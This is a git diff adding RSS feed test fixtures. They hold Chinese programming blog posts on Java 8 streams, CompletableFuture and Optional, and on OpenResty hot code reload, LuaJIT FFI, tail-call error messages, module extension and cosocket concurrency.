是对集合(Collection)对象功能的增强,它专注于对集合对象进行各种非常便利、高效的聚合操作(aggregate operation),或者大批量数据操作 (bulk data operation)。Stream API 借助于同样新出现的 <strong>Lambda 表达式</strong>,极大的提高编程效率和程序可读性。同时它提供串行和并行两种模式进行汇聚操作,并发模式能够充分利用多核处理器的优势,使用 fork/join 并行方式来拆分任务和加速处理过程。通常编写并行代码很难而且容易出错, 但使用 Stream API 无需编写一行多线程的代码,就可以很方便地写出高性能的并发程序。</p> + +<ul> + <li>Stream 不是集合元素,它不是数据结构并不保存数据,它是有关算法和计算的,它更像一个高级版本的 Iterator。</li> + <li>Stream 就如同一个迭代器(Iterator),单向,不可往复,数据只能遍历一次,遍历过一次后即用尽了,就好比流水从面前流过,一去不复返。</li> + <li>和迭代器又不同的是,Stream 可以并行化操作,迭代器只能命令式地、串行化操作。</li> +</ul> + +<p><strong>对stream的操作分为三类。</strong></p> + +<ol> + <li>创建stream</li> + <li>中间操作(intermediate operations)【没有终止操作是不会执行的】</li> + <li>终止操作(terminal operations):</li> +</ol> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830629100.png" alt="" /></p> + +<p><strong>中间操作</strong>会返回另一个流。可以用链式编程.的形式继续调用。在没有终止操作的时候,中间操作是不会执行的。</p> + +<p><strong>终止操作</strong>不会返回流了,而是返回结果(比如返回void-仅仅System.out输出,比如返回总数 int,返回一个集合list等等)</p> + +<p>例如:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830864030.png" alt="" /></p> + +<h3 id="流的创建">流的创建</h3> + +<p>3种方式创建流,普通流调用</p> + +<ul> + <li>通过Stream接口的静态工厂方法</li> + <li> + <p>通过Arrays方法</p> + </li> + <li>通过Collection接口的默认方法</li> +</ul> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//通过Stream接口的静态工厂方法 +Stream stream = Stream.of("hello", "world", "hello world"); + +String[] strArray = new String[]{"hello", "world", "hello world"}; +//通过Stream接口的静态工厂方法 +Stream stream1 = Stream.of(strArray); + +//通过Arrays方法 +Stream stream2 = Arrays.stream(strArray); + +List&lt;String&gt; list = Arrays.asList(strArray); +//通过Collection接口的默认方法 +Stream stream3 = list.stream(); +</code></pre></div></div> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830109800.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830070991.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830139256.png" alt="" /></p> + +<p>本质都是StreamSupport.stream。</p> + +<p>通过Collection接口的默认方法获取并行流。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830364859.png" alt="" /></p> + +<p>或者通过stream流调用<code class="highlighter-rouge">parallel</code>获取并行流</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830011763.png" alt="" /></p> + +<p>只需要对并行流调用<code class="highlighter-rouge">sequential</code>方法就可以把它变成顺序流</p> + +<h3 id="中间操作">中间操作</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830614050.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830637931.png" alt="" /></p> + +<h3 id="终止操作">终止操作</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830706335.png" alt="" /></p> + +<h3 id="并行流">并行流</h3> + +<p>可以通过对收集源调用parallelStream方法来把集合转换为并行流。并行流就是一个把内容分成多个数据 +块,并用不同的线程分别处理每个数据块的流。这样一来,你就可以自动把给定操作的工作负荷分配给多核处理器的所有内核,让它们都忙起来。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830364859.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830949850.png" alt="" /></p> + +<p>并行流用的线程是从哪儿来的?有多少个?怎么自定义这个过程呢?</p> + +<blockquote> + <p>并行流内部使用了默认的ForkJoinPool,它默认的线程数量就是你的处理器数量,这个值是由 Runtime.getRuntime().availableProcessors()得到的。但是你可以通过系统属性 java.util.concurrent.ForkJoinPool.common. parallelism来改变线程池大小,如下所示: +System.setProperty(“java.util.concurrent.ForkJoinPool.common.parallelism”,”12”); +这是一个全局设置,因此它将影响代码中所有的并行流。反过来说,目前还无法专为某个 +并行流指定这个值。一般而言,让ForkJoinPool的大小等于处理器数量是个不错的默认值, +除非你有很好的理由,否则我们强烈建议你不要修改它</p> +</blockquote> + +<p>测试并行流和顺序流速度</p> +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>//Sequential Sort, 采用顺序流进行排序 + @Test + public void sequentialSort(){ + long t0 = System.nanoTime(); + + long count = values.stream().sorted().count(); + System.err.println("count = " + count); + + long t1 = System.nanoTime(); + + long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0); + System.out.println(String.format("sequential sort took: %d ms", millis)); + //sequential sort took: 1932 ms + + } + + //parallel Sort, 采用并行流进行排序 + @Test + public void parallelSort(){ + long t0 = System.nanoTime(); + + long count = values.parallelStream().sorted().count(); + System.err.println("count = " + count); + + long t1 = System.nanoTime(); + + long millis = TimeUnit.NANOSECONDS.toMillis(t1 - t0); + System.out.println(String.format("parallel sort took: %d ms", millis)); + //parallel sort took: 1373 ms 并行排序所花费的时间大约是顺序排序的一半。 + } +</code></pre></div></div> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830902970.png" alt="" /></p> + +<h3 id="错误使用流">错误使用流</h3> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>class Accumlator{ + public long total = 0; + + public void add(long value) { + total += value; + } +} + + +public class ParallelTest { + public static void main(String[] args) { + //错误使用并行流示例 + System.out.println("SideEffect parallel sum done in :" + measureSumPerf(ParallelTest::sideEffectParallelSum, 1_000_000_0) + "mesecs"); + System.out.println("================="); + //正确应该这样的 + System.out.println("SideEffect sum done in :" + measureSumPerf(ParallelTest::sideEffectSum, 1_000_000_0) + "mesecs"); + } + + //错误使用并行流 + public static long sideEffectParallelSum(long n) { + Accumlator accumlator = new Accumlator(); + LongStream.rangeClosed(1, n).parallel().forEach(accumlator::add); + return accumlator.total; + } + + //正确使用流 + public static long sideEffectSum(long n) { + Accumlator accumlator = new Accumlator(); + LongStream.rangeClosed(1, n).forEach(accumlator::add); + return accumlator.total; + } + + //定义测试函数 + public static long measureSumPerf(Function&lt;Long, Long&gt; adder, long n) { + long fastest = Long.MAX_VALUE; + //迭代10次 + for (int i = 0; i &lt; 2; i++) { + long start=System.nanoTime(); + long sum = adder.apply(n); + long duration=(System.nanoTime()-start)/1_000_000; + System.out.println("Result: " + sum); + //取最小值 + if (duration &lt; fastest) { + fastest = duration; + } + } + return fastest; + } + +} +</code></pre></div></div> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830962938.png" alt="" /></p> + +<p>本质问题在于total += value;它不是原子操作,并行调用的时候它会改变多个线程共享的对象的可变状态,从而导致错误,<strong>在使用并行流需要避免这类问题发生!</strong></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830115583.png" alt="" /></p> + +<blockquote> + <p><strong>思考:</strong> 什么情况结果正常,但是并行流比顺序流慢的情况呢???</p> +</blockquote> + +<p><strong>并行流中更新共享变量,如果你加入了同步,很可能会发现线程竞争抵消了并行带来的性能提升!</strong></p> + +<p>特别是limit和findFirst等依赖于元素顺序的操作,它们在并行流上执行的代价非常大</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830346231.png" alt="" /></p> + +<p>对于较小的数据量,选择并行流几乎从来都不是一个好的决定。并行处理少数几个元素的好处还抵不上并行化造成的额外开销。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830200923.png" alt="" /></p> + +<blockquote> + <p><strong>备注:</strong>sort或distinct等操作接受一个流,再生成一个流(中间操作),从流中排序和删除重复项时都需要知道所有集合数据,如果集合数据很大可能会有问题(如果数据大,都放内存,内存不够就会OOM了)。</p> +</blockquote> + +<p><strong>使用并行流还是顺序流都应该应该测试,以及压测,如果在并行流正常的情况下,效率有提升就选择并行流,如果顺序流快就选择顺序流。</strong></p> + +<h2 id="completablefuture异步函数式编程"><code class="highlighter-rouge">CompletableFuture</code>异步函数式编程</h2> + +<h3 id="引入completablefuture原因">引入CompletableFuture原因</h3> + +<h4 id="future模式的缺点">Future模式的缺点</h4> + +<ul> + <li>Future虽然可以实现获取异步执行结果的需求,<strong>但是它没有提供通知的机制,我们无法得知Future什么时候完成</strong>。</li> + <li>要么使用阻塞,<strong>在future.get()的地方等待future返回的结果,这时又变成同步操作</strong>。要么使用isDone()轮询地判断Future是否完成,这样会耗费CPU的资源。</li> +</ul> + +<h4 id="future-接口的局限性">Future 接口的局限性</h4> + +<p>future接口可以构建异步应用,但依然有其局限性。<strong>它很难直接表述多个Future 结果之间的依赖性。</strong>实际开发中,我们经常需要达成以下目的:</p> + +<ul> + <li>将两个异步计算合并为一个——这两个异步计算之间相互独立,同时第二个又依赖于第 + 一个的结果。</li> + <li>等待 Future 集合中的所有任务都完成。</li> + <li>仅等待 Future 集合中最快结束的任务完成(有可能因为它们试图通过不同的方式计算同 + 一个值),并返回它的结果。</li> + <li>通过编程方式完成一个 Future 任务的执行(即以手工设定异步操作结果的方式)。</li> + <li>应对 Future 的完成事件(即当 Future 的完成事件发生时会收到通知,并能使用 Future + 计算的结果进行下一步的操作,不只是简单地阻塞等待操作的结果)</li> +</ul> + +<p>新的CompletableFuture将使得这些成为可能。</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830894975.png" alt="" /></p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830399572.png" alt="" /></p> + +<p><code class="highlighter-rouge">CompletableFuture</code>提供了四个静态方法用来创建CompletableFuture对象:</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830903103.png" alt="" /></p> + +<p>方法入参和返回值有所区别。</p> + +<p>里面有非常多的方法,返回为CompletableFuture之后可以用链式编程.的形式继续调用,最后调用一个不是返回CompletableFuture的介绍,和流式操作里面的中间操作-终止操作。</p> + +<h2 id="日期">日期</h2> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/** + * 可以使用Instant代替Date + * LocalDateTime代替Calendar + * DateTimeFormatter代替SimpleDateFormat + */ + + public static void main(String args[]) { + DateTimeFormatter formatter = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"); + LocalDateTime now = LocalDateTime.now(); + System.out.println(now.format(formatter)); + + //10分钟前 + String d1 = now.minusMinutes(10).format(formatter); + //10分钟后 + String d2 = now.plusMinutes(10).format(formatter); + + System.out.println(d1); + System.out.println(d2); + + + LocalDateTime t5 = LocalDateTime.parse("2019-01-01 00:00:00", formatter); + + System.out.println(t5.format(formatter)); + + + } +</code></pre></div></div> + +<h2 id="jvm方面改变">JVM方面改变</h2> + +<p>去除了永久代(PermGen) 被元空间(Metaspace)代替 配置:-XX:MetaspaceSize=8m -XX:MaxMetaspaceSize=80m 代替 -XX:PermSize=10m -XX:MaxPermSize=10m</p> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830280186.png" alt="" /></p> + +<h2 id="用optional取代null">用Optional取代null</h2> + +<h3 id="optional对象创建">Optional对象创建</h3> + +<p>1、 <strong>创建空对象</strong></p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Optional&lt;String&gt; optStr = Optional.empty(); +</code></pre></div></div> + +<p>上面的示例代码调用empty()方法创建了一个空的Optional<String>对象型。</String></p> + +<p>2、**创建对象:不允许为空 ** +Optional提供了方法of()用于创建非空对象,该方法要求传入的参数不能为空,否则抛NullPointException,示例如下:</p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Optional&lt;String&gt; optStr = Optional.of(str); // 当str为null的时候,将抛出NullPointException +</code></pre></div></div> + +<p>3、**创建对象:允许为空 ** +如果不能确定传入的参数是否存在null值的可能性,则可以用Optional的ofNullable()方法创建对象,如果入参为null,则创建一个空对象。示例如下:</p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Optional&lt;String&gt; optStr = Optional.ofNullable(str); // 如果str是null,则创建一个空对象 +</code></pre></div></div> + +<h3 id="常用方法">常用方法</h3> + +<p><img src="http://www.jiangxinlingdu.com/assets/images/2019/20190830193716.png" alt="" /></p> + +<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>String str = null; + +len = Optional.ofNullable(str).map(String::length).orElse(0); //不会报NullPointerException +</code></pre></div></div> + + + Fri, 06 Sep 2019 00:00:00 +0800 + http://www.jiangxinlingdu.com/thought/2019/09/06/jdk8s.html + http://www.jiangxinlingdu.com/thought/2019/09/06/jdk8s.html + + thought + + + thought + + + + + diff --git a/tests/feedlib/testdata/parser/warn/https-blog-huoding-com-feed.xml b/tests/feedlib/testdata/parser/warn/https-blog-huoding-com-feed.xml new file mode 100644 index 0000000..74a35b7 --- /dev/null +++ b/tests/feedlib/testdata/parser/warn/https-blog-huoding-com-feed.xml @@ -0,0 +1,1761 @@ + + + + 火丁笔记 + + https://blog.huoding.com + 多研究些问题,少谈些主义。 + Thu, 02 Apr 2020 13:36:53 +0000 + zh-CN + + hourly + + 1 + https://wordpress.org/?v=5.4 + + 如何在OpenResty里实现代码热更新 + https://blog.huoding.com/2020/03/25/807 + https://blog.huoding.com/2020/03/25/807#respond + + + Wed, 25 Mar 2020 07:26:31 +0000 + + + https://blog.huoding.com/?p=807 + + 继续阅读 ]]> + 所谓「代码热更新」,是指代码发生变化后,不用 reload 或者 graceful restart 进程就能生效。比如有一个聊天服务,连接着一百万个用户的长连接,所谓代码热更新就是在长连接不断的前提下完成代码更新。实际上因为所有的 require 操作都是通过 package.loaded 来加载模块的,只要代码是以 module 的形式组织的,那么就可以通过 package.loaded 实现代码热更新,并且基本不影响性能。

+

+

下面让我们做个实验来说明一下如何实现代码热更新的,首先设置如下配置:

+
lua_code_cache on;
+worker_processes 1;
+
+location /run {
+    content_by_lua '
+        ngx.say(require("test").run())
+    ';
+}
+
+location /unload {
+    allow 127.0.0.1;
+    deny all;
+
+    content_by_lua '
+        package.loaded[ngx.var.arg_m] = nil
+    ';
+}
+

需要说明的是,之所以把 worker_processes 设置为 1,是因为每个 worker 进程都有一个独立的 lua vm,设置成 1 更方便测试,稍后我会说明大于 1 的时候怎么办。此外,有两个 location,其中 run 是用来运行模块的,unload 的是用来卸载模块的。

+

接着在 package.path 所包含的某个路径上创建 test 模块:

+
local _M = {}
+
+function _M.run()
+    return 1
+end
+
+return _M
+

逻辑很简单,就是返回一个数字。一切准备就绪后,reload 一下 ngx,让我们开始实验:

+
    +
  1. 请求 http://localhost/run,显示 1
  2. +
  3. 修改模块 test.lua,把 1 改成 100
  4. +
  5. 请求 http://localhost/unload?m=test,卸载 package.loaded 中的 test
  6. +
  7. 请求 http://localhost/run,显示 100
  8. +
+

由此可见,在模块内容被修改后,我们没有 reload 进程,只是通过卸载 package.loaded 中对应的模块,就实现了代码热更新。

+

看起来实现代码热更新非常简单。打住!有例外,让我们修改一下 test 模块:

+
local ffi = require("ffi")
+
+ffi.cdef[[
+struct test { int v; };
+]]
+
+local _M = {}
+
+function _M.run()
+    local test = ffi.new("struct test", {1})
+
+    return test.v
+end
+
+return _M
+

还是打印一个数字,只是用 ffi 实现的,让我们再来重复一下实验步骤,结果报错了:

+

attempt to redefine …

+

究其原因,是因为当我们通过 package.loaded 卸载模块的时候,如果用到了 ffi.cdef 之类的 ffi 操作,那么其中的 C 语言类型声明是无法卸载的。

+

好在我们可以通过条件判断来决定是否要执行 ffi.cdef 语句:

+
if not pcall(ffi.typeof, "struct test") then
+    ffi.cdef[[
+    struct test { int v; };
+    ]]
+end
+

说明:如果我们要修改原始定义的话,那么就只能 reload 了。好在这种情况不多。

+

最后,让我来说一说多进程的问题,在测试过程中,我只使用了一个进程,并且通过一个特定的 location 来实现卸载 package.loaded 中指定模块的功能,但是在实际情况中, worker_processes 多半是大于 1 的,也就说有多个 worker 进程,此时,如果再使用特定 location 来操作的话,你是无法确定到底是操作在哪个 worker 上的。

+

比较直观的解决方案是:

+
+
    +
  1. 把需要动态加载的代码放在一个模块文件中,并标记版本号。
  2. +
  3. 暴露一个 location,允许从外部写最新的版本号到共享内存字典。
  4. +
  5. 通过 package.loaders 实现自定义的 loader,把它插在 package.loaders 第二个位置上(因为缺省情况下第一个位置是为 package.preload 准备的,第二个位置是为 package.path 准备的),这样在 require 的时候就可以按照自定义的逻辑加载模块:检查模块的版本号与共享内存字典中的最新版本号是否一致,如果不一致的话,则通过 loadstring 重新加载模块,并且缓存到 package.loaded 中去。
  6. +
+

如此可以解决问题,但是不爽的是每个请求都要检查版本号。看看另一个方案:

+
    +
  1. 在 init_worker 设置每个 worker 都通过 timer 定时扫描自己的共享内存队列。
  2. +
  3. 暴露一个 location,允许从外部写模块名字到每一个 worker 的共享内存队列。
  4. +
  5. 如果 timer 发现新数据,就说明有模块变化了,通过 package.loaded 卸载,再通过 require 重新加载模块,当然也可以自定义 loader,通过 loadstring 重新加载模块。
  6. +
+

补充:如果自定义 loader 的话,那么在通过 loadstring 加载模块的时候,不一定非要从本地磁盘加载模块,思维发散一下,可以通过读取远程数据来加载。比如说有一百台服务器需要更新代码,那么可以把新代码发送到某个 redis 上,然后所有服务器通过请求 redis 拿到新代码,并把 loadstring 缓存到 package.loaded 中去,如此避免了部署的麻烦。

+
+]]>
+ + https://blog.huoding.com/2020/03/25/807/feed + 0 + + +
+ + 手把手教你用OpenResty里的FFI + https://blog.huoding.com/2020/03/08/805 + https://blog.huoding.com/2020/03/08/805#respond + + + Sun, 08 Mar 2020 13:13:37 +0000 + + + https://blog.huoding.com/?p=805 + + 继续阅读 ]]> + 了解 OpenResty 的人应该知道,OpenResty 原本的 API 都是基于 C 实现的,不过在新版里都已经改成了基于 FFI 实现的,为什么这么做?因为 FFI 在效率上更有优势,除此以外,FFI 还有一个优点是可以很便利的和 C 交互,我们不妨设想一下,C 语言有那么多成熟的库,通过 FFI,我们可以轻而易举的引入到自己的应用中,何乐而不为呢?

+

+

本文通过 Hashids 手把手教你用 OpenResty 里的 FFI。说起 Hashids,它的功能是把一个正整数转换成一个相对更短的唯一 ID,比如把 123456789 转换成 NRv345。基本上主流语言都实现了 Hashids,当然也有 Lua 版本,不过本文即然是讲解 FFI 的,自然不会采用此版本,实际上我们使用的是 C 版本。

+

下载了 C 版本的 Hashids 源代码之后,第一件事是编译出动态链接库:

+
➜ gcc -shared -fPIC -o libhashids.so /path/to/hashids.c
+➜ gcc -dynamiclib -fPIC -o libhashids.dylib /path/to/hashids.c
+

不同操作系统使用不同的命令:Linux 用前一个,Mac 用后一个。此外还需要把库文件放到系统路径里,同样有操作系统差异,Linux 用 ldconfig,Mac 用 install_name_tool,细节不赘述,让我们直接看看如何通过 FFI 来使用 C 语言的动态链接库,简单说和把大象放冰箱一样,分三步:首先通过 ffi.cdef 添加头文件;然后通过 ffi.load 加载动态链接库,最后把 C 语言的操作步骤翻译成 Lua 代码。看代码吧:

+
local ffi = require "ffi"
+
+ffi.cdef[[
+struct hashids_s {
+    char *alphabet;
+    char *alphabet_copy_1;
+    char *alphabet_copy_2;
+    size_t alphabet_length;
+
+    char *salt;
+    size_t salt_length;
+
+    char *separators;
+    size_t separators_count;
+
+    char *guards;
+    size_t guards_count;
+
+    size_t min_hash_length;
+};
+typedef struct hashids_s hashids_t;
+
+void
+hashids_free(hashids_t *hashids);
+
+hashids_t *
+hashids_init(const char *salt);
+
+size_t
+hashids_encode(hashids_t *hashids, char *buffer, size_t numbers_count,
+    unsigned long long *numbers);
+
+size_t
+hashids_decode(hashids_t *hashids, const char *str,
+    unsigned long long *numbers, size_t numbers_max);
+
+size_t
+hashids_estimate_encoded_size(hashids_t *hashids, size_t numbers_count,
+    unsigned long long *numbers);
+]]
+
+local id = 123456789
+
+local C = ffi.load("hashids")
+local hashids = C.hashids_init("this is my salt")
+local numbers = ffi.new("unsigned long long[1]", id)
+local size = C.hashids_estimate_encoded_size(hashids, 1, numbers)
+local buffer = ffi.new("char[?]", size)
+local length = C.hashids_encode(hashids, buffer, 1, numbers)
+local hashid = ffi.string(buffer, length)
+local str = ffi.new("char[?]", #hashid, hashid)
+numbers = ffi.new("unsigned long long[1]")
+C.hashids_decode(hashids, str, numbers, -1)
+C.hashids_free(hashids)
+
+ngx.say("id: ", id)                       -- id: 123456789
+ngx.say("hashid: ", hashid)               -- hashid: NRv345
+ngx.say("decode: ", numbers[0])           -- decode: 123456789ULL
+ngx.say("decode: ", tonumber(numbers[0])) -- decode: 123456789
+
+

在使用 Lua 操作动态链接库的时候,和 C 语言总体保持一致,常见的整数,字符串等数据类型都可以直接使用,唯一需要注意的是 C 语言的指针类型无法直接映射到 Lua 的数据类型,此时的变通做法是通过 ffi.new 声明一个「只有一个元素的数组」。

+

LuaJIT FFI 不仅可以调用 C 语言,还可以调用其他语言,比如 Go,详情可以参考:

+ +

关于 LuaJIT FFI 更多信息,建议浏览官方文档。下面文档也值得一看:

+ +

此外,luapower 上能找到不少使用 FFI 的代码,建议多看看。

+]]>
+ + https://blog.huoding.com/2020/03/08/805/feed + 0 + + +
+ + 一个尾调用相关的诡异报错信息 + https://blog.huoding.com/2020/03/03/804 + https://blog.huoding.com/2020/03/03/804#comments + + + Tue, 03 Mar 2020 11:32:53 +0000 + + + https://blog.huoding.com/?p=804 + + 继续阅读 ]]> + 一个 OpenResty 的接口报错了,我查了一下日志,发现如下报错信息:

+

bad argument #1 to ‘test’ (string expected, got userdata)

+

看上去这就是一道送分题啊:无非就是 test 函数的第一个参数类型应该是 string,实际传递的却是 userdata。就当我觉得可以轻而易举解决问题的时候,突然发现 test 函数定义就没有参数,调用的时候也没传参数,真是太诡异了。

+

+

群里问了一些网友,结合自己瞎蒙,大概搞清楚了问题的来龙去脉,看看复现过程:

+
➜ cat t.lua
+local cjson = require "cjson"
+local function test()
+    return cjson.decode(ngx.null)
+end
+test()
+➜ resty t.lua
+ERROR: t.lua:5: bad argument #1 to 'test' (string expected, got userdata)
+stack traceback:
+	t.lua:5: in function 'file_gen'
+	init_worker_by_lua:45: in function 
+	[C]: in function 'xpcall'
+	init_worker_by_lua:52: in function
+

看到这里,估计有人已经猜到原因了:问题似乎和尾调用(Tall call)相关,验证一下:

+
➜ cat t.lua
+local cjson = require "cjson"
+local function test()
+    local result = cjson.decode(ngx.null)
+    return result
+end
+test()
+➜ resty t.lua
+ERROR: t.lua:3: bad argument #1 to 'decode' (string expected, got userdata)
+stack traceback:
+	t.lua:3: in function 'test'
+	t.lua:6: in function 'file_gen'
+	init_worker_by_lua:45: in function 
+	[C]: in function 'xpcall'
+	init_worker_by_lua:52: in function
+

当我们去掉尾调用后,错误信息恢复了正常,验证了我们的猜测,诡异错误信息确实和尾调用相关。当然,真正的问题是因为我们在使用 cjson.decode 的时候传递了错误的参数,尾调用本身并没有问题,但是不得不说的是,它拐带的错误信息实在是坑人。

+]]>
+ + https://blog.huoding.com/2020/03/03/804/feed + 2 + + +
+ + 如何扩展一个OpenResty模块 + https://blog.huoding.com/2020/02/19/801 + https://blog.huoding.com/2020/02/19/801#respond + + + Wed, 19 Feb 2020 06:07:18 +0000 + + + https://blog.huoding.com/?p=801 + + 继续阅读 ]]> + 因为 Lua 本身并没有继承之类的语法,所以我们不能通过 OOP 的套路来扩展模块,不过实际上对于 Lua 来说,扩展一个模块有更简单的方法,下面我们以 lua-resty-string 模块中的 aes 加解密功能为例子来说明一下。

+

+

在 aes 加解密的过程中,有一个「填充」的过程,相关技术细节可以参考我以前写的「聊聊AES」,当然,不懂也没关系,你只要知道目前的 resty.aes 不支持配置填充的功能即可,因为 OpenSSL 缺省是激活了填充的,所以一旦我们需要自定义填充方法,那么就需要关闭缺省的填充行为,此时 resty.aes 无能为力。

+

通过查看 resty.aes 源代码,我们知道它是通过 ffi 调用 OpenSSL 来实现相关功能的,所以我们只需要依葫芦画瓢扩展 resty.aes 即可,不过最好不要修改 resty.aes 源代码,否则日后的升级会变得麻烦,推荐新建一个模块,比如本例中的 resty.aes_with_padding:

+
local aes = require "resty.aes"
+local ffi = require "ffi"
+
+local C = ffi.C
+
+ffi.cdef[[
+int EVP_CIPHER_CTX_set_padding(EVP_CIPHER_CTX *ctx, int padding);
+]]
+
+function aes.set_padding(self, padding)
+    local encrypt_ctx, decrypt_ctx = self._encrypt_ctx, self._decrypt_ctx
+
+    if encrypt_ctx == nil or decrypt_ctx == nil then
+        return nil, "not initialized"
+    end
+
+    C.EVP_CIPHER_CTX_set_padding(encrypt_ctx, padding)
+    C.EVP_CIPHER_CTX_set_padding(decrypt_ctx, padding)
+
+    return 1
+end
+
+return aes
+
+

实际使用的时候,把原本调用 resty.aes 的地方改成 resty.aes_with_padding,然后代码里通过调用新创建的 set_padding 方法来控制开启还是关闭填充。

+

如上可见,扩展一个 OpenResty 模块和把大象放冰箱一样简单,只需三步:首先创建一个新模块;接着引入要扩展的旧模块;最后直接在新模块中给旧模块添加新方法。

+]]>
+ + https://blog.huoding.com/2020/02/19/801/feed + 0 + + +
+ + 关于 Cosocket 的 socket busy 报错 + https://blog.huoding.com/2020/01/15/795 + https://blog.huoding.com/2020/01/15/795#comments + + + Wed, 15 Jan 2020 06:06:40 +0000 + + + https://blog.huoding.com/?p=795 + + 继续阅读 ]]> + 关于 OpenResty 的 cosocket,文档里有如下一段描述:

+

the cosocket object here is full-duplex, that is, a reader “light thread” and a writer “light thread” can operate on a single cosocket object simultaneously (both “light threads” must belong to the same Lua handler though, see reasons above). But you cannot have two “light threads” both reading (or writing or connecting) the same cosocket, otherwise you might get an error like “socket busy reading” when calling the methods of the cosocket object.

+

简单点儿说,cosocket 是全双工的,如果同一个 lua handler 有一个读线程和一个写线程的话,那么它们可以同时操作一个 cosocket 对象,但是如果两个线程一起读或者写一个 cosocket 对象的话,那么会触发「socket busy」错误。

+

+

测试需要,我用「nc -l 1111」命令启动了一个 TCP 服务,监听 1111 端口,如果手头没有 linux 环境,不能使用 nc 命令的话,那么你随便用某个网址的 80 端口也是一样的。

+

首先让我们编程复现一下「socket busy」错误,代码逻辑很简单,就是让两个线程对同一个 cosocket 一起发出写操作。通过 resty 运行如下代码:

+
local sock = ngx.socket.tcp()
+sock:connect("127.0.0.1", 1111) -- shell: nc -l 1111
+
+local data = {}
+
+for i = 1, 1024 do
+    data[i] = "data"
+end
+
+data = table.concat(data) .. "\n"
+
+local function test(worker)
+    for i = 1, 9999 do
+        ngx.log(ngx.ERR, worker, ": ", i)
+
+        local _, err = sock:send(data)
+        -- ngx.sleep(0)
+
+        if err then
+            ngx.log(ngx.ERR, worker, ": ", i, " err: ", err)
+            break
+        end
+    end
+end
+
+local a = ngx.thread.spawn(test, "a")
+local b = ngx.thread.spawn(test, "b")
+
+ngx.thread.wait(a, b)
+
+ngx.thread.kill(a)
+ngx.thread.kill(b)
+
+

结果如下,确实出现了错误「socket busy」:

+
并发出错

并发出错

+

我在做实验的时候遇到了两个问题需要说明一下:

+
    +
  • 问题一:测试数据(本例中 data 为 4k)最好大一点,否则可能无法复现错误。
  • +
  • 问题二:从结果看,线程 a 运行了几百次后,线程 b 才开始运行,也就是说线程 a 得到了 CPU 就不愿意撒手,此时可以通过 ngx.sleep(0) 主动交出 CPU 控制权。
  • +
+

接下来看看如何解决「socket busy」错误,既然出现「socket busy」错误的原因是多线程一起读或者写同一个 cosocket 对象,那我们只要加一把锁让操作串行就行了,不过需要注意的是,这里不要通过 lua-resty-lock 来加锁,而应该通过 semaphore 来加锁,这是因为 lua-resty-lock 的控制粒度比较粗,适合请求在多个 worker 时的情况,而 semaphore 的控制粒度比较细,适合请求在单个 worker 时的情况。通过 resty 运行如下代码:

+
local semaphore = require "ngx.semaphore"
+local sema = semaphore.new()
+
+local sock = ngx.socket.tcp()
+sock:connect("127.0.0.1", 1111) -- shell: nc -l 1111
+
+local data = {}
+
+for i = 1, 1024 do
+    data[i] = "data"
+end
+
+data = table.concat(data) .. "\n"
+
+local function test(worker)
+    for i = 1, 9999 do
+        ngx.log(ngx.ERR, worker, ": ", i)
+
+        local ok, _ = sema:wait(1)
+
+        if not ok then
+            break
+        end
+
+        local _, err = sock:send(data)
+        sema:post()
+
+        if err then
+            ngx.log(ngx.ERR, worker, ": ", i, " err: ", err)
+            break
+        end
+    end
+end
+
+local a = ngx.thread.spawn(test, "a")
+local b = ngx.thread.spawn(test, "b")
+
+sema:post()
+
+ngx.thread.wait(a, b)
+
+ngx.thread.kill(a)
+ngx.thread.kill(b)
+
+

结果如下,你会发现请求完全执行完了,整个过程中没有出错:

+
并发未出错

并发未出错

+

和前一个图相比较,你会发现本图中,线程 a 和线程 b 交错执行,不再需要通过 ngx.sleep(0) 来主动交出 CPU 控制权,这是因为 semo:wait 完成了类似的操作。

+

以后使用 OpenResty 的时候,如果多个线程要同时读或者写同一个 cosocket 对象,那么切记要用 semaphore 控制一下,避免出现「socket busy」错误。当然了,最理想的情况是不用引入 semaphore,每个 cosocket 对象都有一个专门的读线程,一个专门的写线程,此时如果读线程需要写操作,可以考虑通过队列把写操作转给写线程去完成,如此一来既避免使用 semaphore,又充分发挥了全双工的效率,爽歪歪。

+]]>
+ + https://blog.huoding.com/2020/01/15/795/feed + 1 + + +
